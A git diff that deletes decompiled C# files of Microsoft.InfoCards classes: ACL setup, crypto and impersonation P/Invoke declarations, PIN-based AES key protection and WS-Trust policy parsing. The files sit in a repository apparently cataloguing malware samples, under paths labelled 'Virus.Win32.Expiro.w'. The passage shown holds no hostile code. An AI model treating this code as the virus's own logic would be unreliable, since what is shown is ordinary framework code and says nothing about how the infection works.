ref explicitAccessW = 2035711; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 4) = 1; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 20) = 0; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 24) = 1; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 28) = (int) &arrayTypeBy0EeE; - uint error2 = \u003CModule\u003E.SetEntriesInAclW(1U, &explicitAccessW, aclPtr1, &aclPtr2); - if (0U != error2) - throw new Win32Exception((int) error2); - uint error3 = \u003CModule\u003E.SetSecurityInfo(voidPtr1, (_SE_OBJECT_TYPE) 6, 4U, (void*) 0, (void*) 0, aclPtr2, (_ACL*) 0); - if (0U != error3) - throw new Win32Exception((int) error3); - } - finally - { - if (IntPtr.Zero != (IntPtr) aclPtr2) - \u003CModule\u003E.LocalFree((void*) aclPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr2) - \u003CModule\u003E.LocalFree(voidPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr1) - \u003CModule\u003E.CloseHandle(voidPtr1); - if (flag) - \u003CModule\u003E.RpcRevertToSelf(); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool PathSupportsPersistedSecurity(string path) - { - bool flag = false; - string pathRoot = Path.GetPathRoot(path); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - GCHandle gcHandle = GCHandle.Alloc((object) pathRoot, GCHandleType.Pinned); - \u0024ArrayType\u0024\u0024\u0024BY0BAF\u0040G arrayTypeBy0BafG1; - // ISSUE: initblk instruction - __memset(ref arrayTypeBy0BafG1, 0, 522); - \u0024ArrayType\u0024\u0024\u0024BY0BAF\u0040G arrayTypeBy0BafG2; - // ISSUE: initblk instruction - __memset(ref arrayTypeBy0BafG2, 0, 522); - uint num1 = 0; - uint num2 = 0; - uint num3 = 0; - if (\u003CModule\u003E.GetVolumeInformationW((ushort*) gcHandle.AddrOfPinnedObject().ToPointer(), (ushort*) &arrayTypeBy0BafG1, 261U, &num1, &num2, &num3, (ushort*) &arrayTypeBy0BafG2, 261U) != 0) - { - if (((int) num3 & 8) != 0) - flag = true; - gcHandle.Free(); - } - else - { - gcHandle.Free(); - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - } - } - return flag; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/NativeMethods.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/NativeMethods.cs deleted file mode 100644 index e52c7bd4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/NativeMethods.cs +++ /dev/null @@ -1,169 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.NativeMethods -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.Win32.SafeHandles; -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal static class NativeMethods - { - public const int E_BUSY = -2147024825; - public const int ERROR_ACCESS_DENIED = 5; - public const int ERROR_NOT_ENOUGH_MEMORY = 8; - public const int ERROR_OUTOFMEMORY = 14; - public const int E_NOTIMPL = -2147467263; - public const int E_ACCESSDENIED = -2147024891; - public const int COR_E_APPLICATION = -2146232832; - public const int COR_E_ARGUMENT = -2147024809; - public const int ERROR_INVALID_DATA = 13; - public const int CRYPTPROTECT_LOCAL_MACHINE = 4; - public const int CRYPTPROTECT_UI_FORBIDDEN = 1; - public const int CRYPTPROTECT_NO_RECOVERY = 32; - public const int CRYPTPROTECT_VERIFY_PROTECTION = 64; - public const int CRYPTPROTECT_AUDIT = 16; - public const int CRYPTPROTECTMEMORY_SAME_PROCESS = 0; - public const int CRYPTPROTECTMEMORY_CROSS_PROCESS = 1; - public const int CRYPTPROTECTMEMORY_SAME_LOGON = 2; - public const int EVENT_MODIFY_STATE = 2; - public const int PROCESS_DUP_HANDLE = 64; - public const int TOKEN_QUERY = 8; - public const int TOKEN_IMPERSONATE = 4; - public const int TOKEN_DUPLICATE = 2; - public const int TOKEN_ASSIGN_PRIMARY = 1; - public const int TOKEN_ALL_ACCESS = 511; - public const uint WAIT_TIMEOUT = 258; - public const uint WAIT_ABANDONED = 128; - public const uint WAIT_FAILED = 4294967295; - public const int CSIDL_LOCAL_APPDATA = 28; - public const int SHGFP_TYPE_CURRENT = 0; - public const int MAX_PATH = 260; - public const int MUTEX_MODIFY_STATE = 2; - public const int SYNCHRONIZE = 1048576; - public const int FILE_PERSISTENT_ACLS = 8; - public const int ERROR_CANCELLED = 1223; - public const int SM_TABLETPC = 86; - - [DllImport("Crypt32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptProtectData( - [In] IntPtr pDataIn, - [MarshalAs(UnmanagedType.LPWStr), In] string szDataDescr, - [In] IntPtr pOptionalEntropy, - [In] IntPtr pvReserved, - [In] IntPtr pPromptStruct, - [MarshalAs(UnmanagedType.I4), In] int dwFlags, - [In] IntPtr pDataOut); - - [DllImport("Crypt32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptUnprotectData( - [In] IntPtr pDataIn, - [MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder ppszDataDescr, - [In] IntPtr pOptionalEntropy, - [In] IntPtr pvReserved, - [In] IntPtr pPromptStruct, - [MarshalAs(UnmanagedType.I4), In] int dwFlags, - [In] IntPtr pDataOut); - - [DllImport("Rpcrt4.dll", CharSet = CharSet.Unicode)] - public static extern uint RpcImpersonateClient([In] IntPtr rpcBindingHandle); - - [DllImport("Rpcrt4.dll", CharSet = CharSet.Unicode)] - public static extern uint RpcRevertToSelfEx([In] IntPtr rpcBindingHandle); - - [DllImport("Rpcrt4.dll", CharSet = CharSet.Unicode)] - public static extern uint I_RpcBindingInqLocalClientPID([In] IntPtr rpcBindingHandle, out uint pid); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool RevertToSelf(); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool ImpersonateLoggedOnUser([In] IntPtr hToken); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool ProcessIdToSessionId([In] int pid, out int tSSession); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern SafeNativeHandle OpenProcess( - [In] int desiredAccess, - [In] bool inheritHandle, - [In] int processId); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool DuplicateHandle( - [In] SafeNativeHandle sourceProcessHandle, - [In] SafeWaitHandle sourceHandle, - [In] SafeNativeHandle targetProcessHandle, - out SafeWaitHandle targetHandle, - [In] int desiredAccess, - [In] bool inheritHandle, - [In] int options); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern IntPtr GetCurrentProcess(); - - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern IntPtr LocalFree(IntPtr hMem); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptDecrypt( - [In] SafeCryptoKeyHandle hKey, - [In] IntPtr hHash, - [In] uint Final, - [In] uint Flags, - [In] IntPtr data, - [In, Out] ref uint length); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptEncrypt( - [In] SafeCryptoKeyHandle hKey, - [In] IntPtr hHash, - [In] uint Final, - [In] uint Flags, - [In] IntPtr data, - [In, Out] ref uint length, - [In] uint bufLength); - - [DllImport("Kernel32.dll", EntryPoint = "RtlZeroMemory", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern void ZeroMemory([In] IntPtr dest, [In] int size); - - [DllImport("Crypt32.dll", EntryPoint = "CertGetNameStringW", CharSet = CharSet.Unicode)] - public static extern int CertGetNameString( - IntPtr pCertContext, - int dwType, - int dwFlags, - [MarshalAs(UnmanagedType.LPStr), In] string pvTypePara, - [Out] StringBuilder pszNameString, - int cchNameString); - - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode)] - public static extern int WTSGetActiveConsoleSessionId(); - - [DllImport("user32.dll", CharSet = CharSet.Unicode)] - public static extern int GetSystemMetrics(int nIndex); - - public enum SecurityImpersonationLevel - { - SecurityAnonymous, - SecurityIdentification, - SecurityImpersonation, - SecurityDelegation, - } - - public sealed class SafeHandleOnlyMethods - { - private SafeHandleOnlyMethods() - { - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CloseHandle([In] IntPtr handle); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/OptionalRstParameters.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/OptionalRstParameters.cs deleted file mode 100644 index bacb44e0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/OptionalRstParameters.cs +++ /dev/null @@ -1,102 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.OptionalRstParameters -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.ServiceModel.Security; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class OptionalRstParameters - { - private string m_tokenType = string.Empty; - private string m_signatureAlgorithm; - private string m_encryptionAlgorithm; - private string m_canonicalizationAlgorithm; - private string m_signWith; - private string m_encryptWith; - private string m_keyWrapAlgorithm; - - public static OptionalRstParameters CreateMergedParameters( - OptionalRstParameters primary, - OptionalRstParameters secondary) - { - return new OptionalRstParameters() - { - m_canonicalizationAlgorithm = !string.IsNullOrEmpty(primary.m_canonicalizationAlgorithm) ? primary.m_canonicalizationAlgorithm : secondary.m_canonicalizationAlgorithm, - m_encryptionAlgorithm = !string.IsNullOrEmpty(primary.m_encryptionAlgorithm) ? primary.m_encryptionAlgorithm : secondary.m_encryptionAlgorithm, - m_encryptWith = !string.IsNullOrEmpty(primary.m_encryptWith) ? primary.m_encryptWith : secondary.m_encryptWith, - m_keyWrapAlgorithm = !string.IsNullOrEmpty(primary.m_keyWrapAlgorithm) || !string.IsNullOrEmpty(secondary.m_keyWrapAlgorithm) ? (!string.IsNullOrEmpty(primary.m_keyWrapAlgorithm) ? primary.m_keyWrapAlgorithm : secondary.m_keyWrapAlgorithm) : SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm, - m_signatureAlgorithm = !string.IsNullOrEmpty(primary.m_signatureAlgorithm) ? primary.m_signatureAlgorithm : secondary.m_signatureAlgorithm, - m_signWith = !string.IsNullOrEmpty(primary.m_signWith) ? primary.m_signWith : secondary.m_signWith, - m_tokenType = !string.IsNullOrEmpty(primary.m_tokenType) ? primary.m_tokenType : secondary.m_tokenType - }; - } - - public string SignatureAlgorithm - { - get => this.m_signatureAlgorithm; - set => this.m_signatureAlgorithm = value; - } - - public string EncryptionAlgorithm - { - get => this.m_encryptionAlgorithm; - set => this.m_encryptionAlgorithm = value; - } - - public string SignWith - { - get => this.m_signWith; - set => this.m_signWith = value; - } - - public string EncryptWith - { - get => this.m_encryptWith; - set => this.m_encryptWith = value; - } - - public string CanonicalizationAlgorithm - { - get => this.m_canonicalizationAlgorithm; - set => this.m_canonicalizationAlgorithm = value; - } - - public string KeyWrapAlgorithm - { - get => this.m_keyWrapAlgorithm; - set => this.m_keyWrapAlgorithm = value; - } - - public string TokenType - { - get => this.m_tokenType; - set => this.m_tokenType = value; - } - - public void WritePassOnElements(XmlDictionaryWriter writer, ProtocolProfile profile) - { - string defaultPrefix = profile.WSTrust.DefaultPrefix; - if (!string.IsNullOrEmpty(this.TokenType)) - { - writer.WriteStartElement(defaultPrefix, profile.WSTrust.TokenType, profile.WSTrust.Namespace); - writer.WriteString(this.TokenType); - writer.WriteEndElement(); - } - if (!string.IsNullOrEmpty(this.SignatureAlgorithm)) - { - writer.WriteStartElement(defaultPrefix, profile.WSTrust.SignatureAlgorithm, profile.WSTrust.Namespace); - writer.WriteString(this.SignatureAlgorithm); - writer.WriteEndElement(); - } - if (string.IsNullOrEmpty(this.CanonicalizationAlgorithm)) - return; - writer.WriteStartElement(defaultPrefix, profile.WSTrust.CanonicalizationAlgorithm, profile.WSTrust.Namespace); - writer.WriteString(this.CanonicalizationAlgorithm); - writer.WriteEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ParsedPolicy.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ParsedPolicy.cs deleted file mode 100644 index 40b97664..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ParsedPolicy.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ParsedPolicy -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal class ParsedPolicy - { - private string m_policyXmlOriginal; - private string m_policyXmlPrimary; - private string m_policyXmlSecondary; - private PolicyType m_policyType; - - public string PolicyXmlOriginal => this.m_policyXmlOriginal; - - public string PolicyXmlPrimary => this.m_policyXmlPrimary; - - public string PolicyXmlSecondary => this.m_policyXmlSecondary; - - public PolicyType PolicyType => this.m_policyType; - - public ParsedPolicy( - string policyXmlOriginal, - string policyXmlPrimary, - string policyXmlSecondary) - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(policyXmlOriginal), "Original Policy Xml cannot be null or empty"); - this.m_policyXmlOriginal = policyXmlOriginal; - this.m_policyXmlPrimary = policyXmlPrimary; - this.m_policyXmlSecondary = policyXmlSecondary; - if (!string.IsNullOrEmpty(policyXmlPrimary) && string.IsNullOrEmpty(policyXmlSecondary)) - this.m_policyType = PolicyType.PrimaryOnly; - else if (!string.IsNullOrEmpty(policyXmlPrimary) && !string.IsNullOrEmpty(policyXmlSecondary)) - this.m_policyType = PolicyType.Composite; - else if (string.IsNullOrEmpty(policyXmlPrimary) && !string.IsNullOrEmpty(policyXmlSecondary)) - this.m_policyType = PolicyType.SecondaryOnly; - else - InfoCardTrace.Assert(false, "Both policies cannot be empty"); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PasswordValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PasswordValidationException.cs deleted file mode 100644 index 912e2d8b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PasswordValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PasswordValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class PasswordValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413878; - - public PasswordValidationException() - : base(-1073413878) - { - } - - public PasswordValidationException(string message) - : base(-1073413878, message) - { - } - - public PasswordValidationException(string message, Exception inner) - : base(-1073413878, message, inner) - { - } - - protected PasswordValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413878, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PinProtectionHelper.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PinProtectionHelper.cs deleted file mode 100644 index a4460f4d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PinProtectionHelper.cs +++ /dev/null @@ -1,133 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PinProtectionHelper -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class PinProtectionHelper - { - private const int InfoCardPKCS5IterationCount = 1000; - public const int SaltSize = 16; - private const int AESBlockByteLength = 16; - private const int AESKeyByteLength = 32; - private const byte EncryptForPinProtectionVersion = 2; - private const int VersionOffset = 0; - private const int SaltOffset = 1; - private const int IterationsOffset = 17; - private const int IVOffset = 21; - private const int EncryptedDataOffset = 37; - private PasswordDeriveBytes m_pkcs5; - private byte[] m_key; - private RijndaelManaged m_aes = new RijndaelManaged(); - - public PinProtectionHelper(string pin) - { - RNGCryptoServiceProvider cryptoServiceProvider = new RNGCryptoServiceProvider(); - byte[] numArray = new byte[16]; - cryptoServiceProvider.GetBytes(numArray); - this.m_pkcs5 = new PasswordDeriveBytes(pin, numArray, "SHA256", 1000); - this.m_key = this.m_pkcs5.GetBytes(32); - this.m_aes.Padding = PaddingMode.PKCS7; - this.m_aes.Mode = CipherMode.CBC; - this.m_aes.BlockSize = 128; - this.m_aes.KeySize = this.m_key.Length * 8; - this.m_aes.GenerateIV(); - } - - public PinProtectionHelper(string pin, byte[] serializedParameters) - { - if ((byte) 2 != serializedParameters[0]) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceCardDecryptionFailed"))); - byte[] numArray = new byte[16]; - Array.Copy((Array) serializedParameters, 1, (Array) numArray, 0, 16); - uint uint32 = BitConverter.ToUInt32(serializedParameters, 17); - this.m_pkcs5 = new PasswordDeriveBytes(pin, numArray, "SHA256", (int) uint32); - this.m_key = this.m_pkcs5.GetBytes(32); - this.m_aes.Padding = PaddingMode.PKCS7; - this.m_aes.Mode = CipherMode.CBC; - this.m_aes.BlockSize = 128; - this.m_aes.KeySize = this.m_key.Length * 8; - byte[] destinationArray = new byte[16]; - Array.Copy((Array) serializedParameters, 21, (Array) destinationArray, 0, destinationArray.Length); - this.m_aes.IV = destinationArray; - } - - public byte[] EncryptMasterKey(byte[] toEncrypt) - { - byte[] buffer = this.Encrypt(toEncrypt); - using (MemoryStream memoryStream = new MemoryStream()) - { - memoryStream.WriteByte((byte) 2); - memoryStream.Write(this.m_pkcs5.Salt, 0, this.m_pkcs5.Salt.Length); - memoryStream.Write(BitConverter.GetBytes((uint) this.m_pkcs5.IterationCount), 0, 4); - memoryStream.Write(this.m_aes.IV, 0, this.m_aes.IV.Length); - memoryStream.Write(buffer, 0, buffer.Length); - return memoryStream.ToArray(); - } - } - - public static int EncryptedMasterKeySize => 85; - - public byte[] Encrypt(byte[] toEncrypt) - { - using (ICryptoTransform encryptor = this.m_aes.CreateEncryptor(this.m_key, this.m_aes.IV)) - { - using (MemoryStream memoryStream = new MemoryStream()) - { - try - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, encryptor, CryptoStreamMode.Write)) - { - cryptoStream.Write(toEncrypt, 0, toEncrypt.Length); - cryptoStream.FlushFinalBlock(); - return memoryStream.ToArray(); - } - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceCardEncryptionFailed"), (Exception) ex)); - } - } - } - } - - public byte[] DecryptMasterKey(byte[] toDecrypt) - { - byte[] numArray = new byte[toDecrypt.Length - 37]; - Array.Copy((Array) toDecrypt, 37, (Array) numArray, 0, toDecrypt.Length - 37); - return this.Decrypt(numArray); - } - - public byte[] Decrypt(byte[] encrypted) - { - using (ICryptoTransform decryptor = this.m_aes.CreateDecryptor(this.m_key, this.m_aes.IV)) - { - using (MemoryStream memoryStream = new MemoryStream(encrypted)) - { - try - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - byte[] numArray = new byte[encrypted.Length]; - int length = cryptoStream.Read(numArray, 0, numArray.Length); - byte[] destinationArray = new byte[length]; - Array.Copy((Array) numArray, (Array) destinationArray, length); - return destinationArray; - } - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceCardDecryptionFailed"), (Exception) ex)); - } - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Policy.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Policy.cs deleted file mode 100644 index 0f21aab4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Policy.cs +++ /dev/null @@ -1,419 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Policy -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.ServiceModel; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class Policy - { - private string m_policyXml = string.Empty; - private string[] m_requiredClaimUris; - private string[] m_optionalClaimUris; - private uint m_keySize; - private bool m_keySizeSpecified; - private bool m_keyTypeSpecified; - private SecurityKeyTypeInternal m_keyType = SecurityKeyTypeInternal.AsymmetricKey; - private string m_requestType; - private MemoryStream m_unprocessedPolicyElements; - private OptionalRstParameters m_optionalRstParams = new OptionalRstParameters(); - private EndpointAddress m_policyAppliesToEpr; - private bool m_nonWhiteListElementFound; - private List m_nonWhiteListElements = new List(); - private ProtocolProfile m_protocolProfile; - - private Policy() - { - } - - public Policy(string originalPolicyXml, string rstPolicyXml) - { - this.m_policyXml = originalPolicyXml; - this.ParsePolicyXml(rstPolicyXml); - } - - public static Policy CreateMergedPolicy( - string originalPolicyXml, - Policy primary, - Policy secondary) - { - Policy mergedPolicy = new Policy(); - mergedPolicy.m_policyXml = originalPolicyXml; - mergedPolicy.m_requiredClaimUris = primary.m_requiredClaimUris != null ? primary.m_requiredClaimUris : secondary.m_requiredClaimUris; - mergedPolicy.m_optionalClaimUris = primary.m_optionalClaimUris != null ? primary.m_optionalClaimUris : secondary.m_optionalClaimUris; - mergedPolicy.m_requestType = !string.IsNullOrEmpty(primary.m_requestType) ? primary.m_requestType : secondary.m_requestType; - mergedPolicy.m_unprocessedPolicyElements = primary.m_unprocessedPolicyElements; - mergedPolicy.m_policyAppliesToEpr = (EndpointAddress) null != primary.m_policyAppliesToEpr ? primary.m_policyAppliesToEpr : secondary.m_policyAppliesToEpr; - mergedPolicy.m_keySize = primary.m_keySizeSpecified ? primary.m_keySize : secondary.m_keySize; - mergedPolicy.m_keyType = primary.m_keyTypeSpecified ? primary.m_keyType : secondary.m_keyType; - mergedPolicy.m_nonWhiteListElements = new List(); - mergedPolicy.m_nonWhiteListElementFound = primary.m_nonWhiteListElementFound || secondary.m_nonWhiteListElementFound; - if (primary.m_nonWhiteListElementFound) - mergedPolicy.m_nonWhiteListElements.AddRange((IEnumerable) primary.m_nonWhiteListElements); - if (secondary.m_nonWhiteListElementFound) - mergedPolicy.m_nonWhiteListElements.AddRange((IEnumerable) secondary.m_nonWhiteListElements); - InfoCardTrace.Assert(null != primary.m_protocolProfile, "Received Null Protocol Profile in the Primary Policy"); - mergedPolicy.m_protocolProfile = primary.ProtocolVersionProfile; - mergedPolicy.m_optionalRstParams = OptionalRstParameters.CreateMergedParameters(primary.OptionalRstParams, secondary.OptionalRstParams); - return mergedPolicy; - } - - public string RequestType => this.m_requestType; - - public string PolicyXml => this.m_policyXml; - - public OptionalRstParameters OptionalRstParams => this.m_optionalRstParams; - - public string[] RequiredClaims => this.m_requiredClaimUris; - - public string[] OptionalClaims => this.m_optionalClaimUris; - - public SecurityKeyTypeInternal KeyType => this.m_keyType; - - public bool KeyTypeSpecified => this.m_keyTypeSpecified; - - public EndpointAddress PolicyAppliesTo => this.m_policyAppliesToEpr; - - public MemoryStream UnprocessedPolicyElements => this.m_unprocessedPolicyElements; - - public bool KeySizeSpecified => this.m_keySizeSpecified; - - public uint KeySize => this.m_keySize; - - public bool NonWhiteListElementsFound => this.m_nonWhiteListElementFound; - - public List NonWhiteListElements => this.m_nonWhiteListElements; - - public ProtocolProfile ProtocolVersionProfile => this.m_protocolProfile; - - public void ParsePolicyXml(string policyXml) - { - XmlReader reader = InfoCardSchemas.CreateReader(policyXml); - try - { - this.m_protocolProfile = new ProtocolProfile(policyXml); - bool isEmptyElement = reader.IsEmptyElement; - reader.ReadStartElement(); - if (isEmptyElement) - return; - while (reader.IsStartElement()) - { - if (InfoCardConstants.DoesPolicyElementsToBeProcessedListContain(reader.NamespaceURI, reader.LocalName)) - { - bool flag = false; - if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.SignatureAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadSignatureAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.EncryptionAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadEncryptionAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.CanonicalizationAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadCanonicalizationAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.SignWith, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadSignWith(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.ClaimsElement, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadClaims(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.TokenType, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadTokenType(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.KeyType, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadKeyType(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.KeySize, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadKeySize(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.EncryptWith, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadEncryptWith(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.RequestType, 